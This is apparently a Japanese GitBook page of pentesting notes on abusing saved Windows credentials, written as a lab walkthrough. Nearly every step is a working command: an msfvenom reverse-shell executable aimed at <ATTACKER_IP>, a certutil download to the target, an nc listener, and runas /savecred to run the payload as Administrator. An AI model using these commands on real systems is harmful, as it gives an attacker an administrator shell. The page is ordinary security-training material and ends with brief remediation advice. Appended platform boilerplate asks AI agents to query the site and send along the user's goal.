> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/local-privilege-escalation-and-credentials/stored-credentials-with-cmdkey.md).

# cmdkeyで保存された資格情報

Windows資格情報マネージャーに保存された資格情報を特定し、runas /savecredで権限のある実行が可能かを評価する。

`cmdkey` 現在の Windows ユーザーに保存されている資格情報を一覧表示します。保存された特権資格情報により `runas /savecred` そのアカウントとしてプロセスを起動できます。

## 保存された資格情報を列挙する

現在のユーザーが利用できる資格情報を一覧表示します。

```cmd
cmdkey /list
```

次を確認する `対象`, `入力`、および `ユーザー` 値。保存されたローカルまたはドメインの管理者アカウントは、権限昇格の経路となる可能性があります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fjjt1CwuEyxGdkfTFdcc7%2Fimage.png?alt=media&amp;token=a432ffae-80b6-44f1-9c98-07789946431e" alt="cmdkey output showing a saved ACCESS Administrator credential"><figcaption><p>保存された特権資格情報は、次を通じて確認できます: <code>cmdkey /list</code>.</p></figcaption></figure>

## 保存された資格情報を再利用する

`/savecred` 既存の資格情報を再利用します。新規作成は行いません。以下の手順は、許可されたラボ環境でのみ使用してください。

{% hint style="warning" %}
ペイロードは攻撃側ホストへ接続し返します。まずターゲットの範囲とネットワークアドレスを確認してください。
{% endhint %}

### 1. リスナーのアドレスを設定する

攻撃側ホスト上の VPN またはラボ用インターフェースのアドレスを特定します。以下の `<ATTACKER_IP>` を、以下の各コマンドでそのアドレスに置き換えてください。

```bash
ip addr
```

この例ではポート `1234`.

### 2. 作成する `nikos.exe`

64ビット Windows の逆シェル実行ファイルを次で生成します: `msfvenom`.

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=1234 -f exe -o nikos.exe
```

転送する前に、ファイルが存在することを確認してください。

```bash
ls -lh nikos.exe
```

### 3. 実行ファイルをホストする

次を含むディレクトリから一時的な HTTP サーバーを起動します: `nikos.exe`.

```bash
python3 -m http.server 8000
```

ファイル転送中はこのターミナルを開いたままにしてください。

### 4. 転送する `nikos.exe`

ターゲット側で、ファイルを書き込み可能な場所にダウンロードします。

```cmd
certutil -urlcache -split -f http://<ATTACKER_IP>:8000/nikos.exe C:\Users\Public\nikos.exe
```

転送が完了したことを確認してください。

```cmd
dir C:\Users\Public\nikos.exe
```

### 5. リスナーを起動する

攻撃側ホストで別のターミナルを開きます。ペイロードで設定したポートを待ち受けます。

```bash
nc -nlvp 1234
```

### 6. 保存された資格情報でペイロードを実行する

Access ラボでは、保存された `ACCESS\Administrator` 資格情報によりペイロードは Administrator として実行されます。

```cmd
runas /savecred /user:ACCESS\Administrator "C:\Users\Public\nikos.exe"
```

コールバックはターゲットアカウントの権限を継承します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FicWrstrFbRpaer3OffgR%2Fimage.png?alt=media&amp;token=ac609f78-43d2-416c-aa70-fd8fa09f7400" alt="Administrator shell obtained after running a payload with saved credentials"><figcaption><p>コールバックは Administrator コンテキストで実行されます。</p></figcaption></figure>

### 7. 新しいコンテキストを検証する

コールバックからアイデンティティと権限を確認します。

```cmd
whoami
whoami /groups
```

## 検証して是正する

次でプロセスのアイデンティティを確認します: `whoami` 次の対応を取る前に。不要なエントリは次で削除します: `cmdkey /delete:<target>`。共有ワークステーションでは特権アカウントの資格情報を保存しないでください。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/local-privilege-escalation-and-credentials/stored-credentials-with-cmdkey.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
